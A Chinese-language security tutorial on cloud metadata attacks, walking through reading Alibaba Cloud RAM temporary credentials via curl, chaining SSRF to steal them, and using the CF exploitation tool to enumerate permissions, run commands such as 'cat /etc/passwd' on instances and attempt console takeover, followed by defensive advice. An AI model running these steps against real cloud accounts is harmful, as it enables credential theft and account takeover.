云上元数据攻防：从信息泄露到实例控制

文章目录

一、什么是实例元数据
[二、RAM 用户与权限体系](#二、RAM 用户与权限体系)
三、元数据信息获取
[四、SSRF 与元数据的结合利用](#四、SSRF 与元数据的结合利用)
[五、使用 CF 工具进行凭证利用](#五、使用 CF 工具进行凭证利用)
六、防护建议
总结

元数据服务是云服务器的"身份证档案馆"，设计初衷是方便实例自我感知运行环境。但一旦攻击者通过 SSRF 等漏洞触达元数据接口，轻则泄露实例信息，重则拿到临时凭证并横向接管整个云账号。

一、什么是实例元数据

元数据（Instance Metadata）是云服务器在运行时可以自我查询的一组环境信息，由云平台实时生成并通过一个仅限实例内部访问的特殊 IP 提供服务。内容涵盖：

基本信息：实例 ID、公网/内网 IP、MAC 地址、操作系统类型
网络信息：VPC ID、子网、网卡配置
身份标识：实例标识文档与签名，用于快速辨别实例身份
临时凭证：若实例绑定了 RAM 角色，可直接获取具有时效性的 AccessKey + Token

各大云厂商的元数据访问地址如下：

云厂商	元数据地址
阿里云	`http://100.100.100.200/`
腾讯云	`http://metadata.tencentyun.com/`
华为云	`http://169.254.169.254/`
AWS	`http://169.254.169.254/`
Azure	`http://169.254.169.254/`
谷歌云	`http://metadata.google.internal/`

这些地址均为链路本地地址，正常情况下只能从实例内部访问，外网无法直接到达。这也是 SSRF 漏洞在云环境中危害被大幅放大的根本原因。

二、RAM 用户与权限体系

在理解元数据攻防之前，需要先了解云上的权限管理机制。以阿里云为例，RAM（Resource Access Management）是其身份与权限管理体系的核心：

主账号拥有所有资源的完整控制权，相当于 root。企业日常运营中不应直接使用主账号操作。

RAM 子账号由管理员创建，分配给不同岗位的员工，按需授予特定服务的操作权限，例如：

只能管理 ECS，无法访问 OSS 和 RDS
只能读取数据，无法删除或修改
只能操作特定地域的资源

RAM 角色可以绑定到 ECS 实例上，实例运行时自动获取该角色的临时凭证，应用程序无需硬编码 AccessKey，直接从元数据服务读取即可。这是云上推荐的凭证管理方式------但同时也成为了元数据攻击的重要目标。

三、元数据信息获取

在已登录的 ECS 实例内部，可以通过 curl 直接访问元数据接口：

bash 复制代码

# 查看所有可获取的元数据字段列表
curl http://100.100.100.200/latest/meta-data/

# 获取实例公网 IP
curl http://100.100.100.200/latest/meta-data/eipv4

# 获取网卡 MAC 地址
curl http://100.100.100.200/latest/meta-data/mac

# 获取实例绑定的 RAM 角色信息（若存在）
curl http://100.100.100.200/latest/meta-data/ram/

# 获取 RAM 角色的临时凭证（AccessKey ID + Secret + Token）
curl http://100.100.100.200/latest/meta-data/ram/security-credentials/<角色名>

临时凭证的返回格式如下：

json 复制代码

{
  "AccessKeyId": "STS.XXXXXXXXXX",
  "AccessKeySecret": "XXXXXXXXXXXXXXXXXX",
  "SecurityToken": "CAIS...",
  "Expiration": "2024-01-01T12:00:00Z"
}

这组凭证虽然有时效（通常 1 至 6 小时），但在有效期内与正式 AccessKey 具有同等权限，可以直接调用云 API 操作该角色被授权的所有资源。

四、SSRF 与元数据的结合利用

元数据接口本身的访问限制（仅限实例内部）看似安全，但 SSRF（服务端请求伪造）漏洞彻底打破了这道防线。

攻击路径如下：

复制代码

攻击者
  │
  │  发送携带恶意 URL 的请求
  ▼
存在 SSRF 漏洞的 Web 应用
  │
  │  应用服务器向内部发起请求
  ▼
http://100.100.100.200/latest/meta-data/ram/security-credentials/
  │
  │  返回临时凭证
  ▼
攻击者获得 AccessKey + Token
  │
  ▼
使用凭证调用云 API，接管实例或云账号资源

SSRF 在云环境中的危害远大于传统环境，原因正在于此：一个普通的 Web 漏洞，可能直接导致整个云账号下的资源失控。

五、使用 CF 工具进行凭证利用

CF（Cloud Exploitation Framework）是一款专为云环境攻防设计的综合利用工具，支持阿里云、AWS、腾讯云等主流云平台，可基于已获取的 AccessKey 对云账号进行权限枚举和资源操控。

基础配置

bash 复制代码

cf config del          # 清除已有配置
cf config              # 新建配置，选择云厂商（如阿里云）
# 按提示依次填入备注名、AccessKey ID、AccessKey Secret

信息收集

bash 复制代码

cf alibaba perm        # 枚举当前凭证的权限范围
cf alibaba ls          # 扫描所有地域的资源列表
cf alibaba oss ls      # 列出所有 OSS 存储桶
cf alibaba ecs ls      # 列出所有 ECS 实例

实例控制

bash 复制代码

# 在目标 ECS 上执行命令（需具备相应权限）
cf alibaba ecs exec -c whoami
cf alibaba ecs exec -c "cat /etc/passwd"

控制台接管尝试

bash 复制代码

cf alibaba console     # 尝试生成控制台登录链接
# 若凭证权限不足，返回无法接管提示
# 若凭证具备 sts:AssumeRole 等高权限，可直接生成登录 URL 接管控制台

一旦控制台被接管，攻击者可以在图形界面中操作目标账号下的所有云资源，与合法管理员无异。

六、防护建议

针对元数据服务本身：

阿里云等平台提供了元数据服务的加固模式（IMDSv2），要求请求必须携带 Token 才能访问，有效阻断 SSRF 直接读取元数据的攻击路径，建议开启
非必要场景下，避免为 ECS 实例绑定高权限 RAM 角色；绑定时遵循最小权限原则

针对 SSRF 漏洞：

对应用中所有发起外部请求的功能进行严格的 URL 白名单校验
在网络层面限制 ECS 实例对 100.100.100.200 等元数据地址的非业务访问

针对 AccessKey 和凭证管理：

不使用的 AccessKey 立即停用或删除，不要让冗余凭证长期存在
为不同员工和应用分配独立的子账号与 AccessKey，职责分离
子账号一旦泄露，其权限边界限制了横向移动的范围；但高权限账号泄露可能导致整个云环境被渗透

针对操作审计：

开启云平台的操作审计功能（阿里云 ActionTrail），记录所有 API 调用行为
对异常时间、异常地域、异常 API 操作设置告警，及时发现凭证被盗用的迹象

总结

元数据服务的攻防，是云安全中"合法功能被滥用"的典型案例。其本身没有漏洞，但与 SSRF、权限配置不当、凭证管理疏忽结合后，攻击链可以从一个普通 Web 漏洞一路延伸至整个云账号失控。

复制代码

SSRF 漏洞
    └→ 读取元数据临时凭证
            └→ 枚举云账号权限与资源
                    └→ 执行命令 / 窃取数据 / 横向渗透内网

防御的核心是三点：开启元数据加固模式、修复应用层 SSRF 漏洞、严格落实最小权限与凭证生命周期管理。任何一环的疏漏，都可能让这条攻击链完整跑通。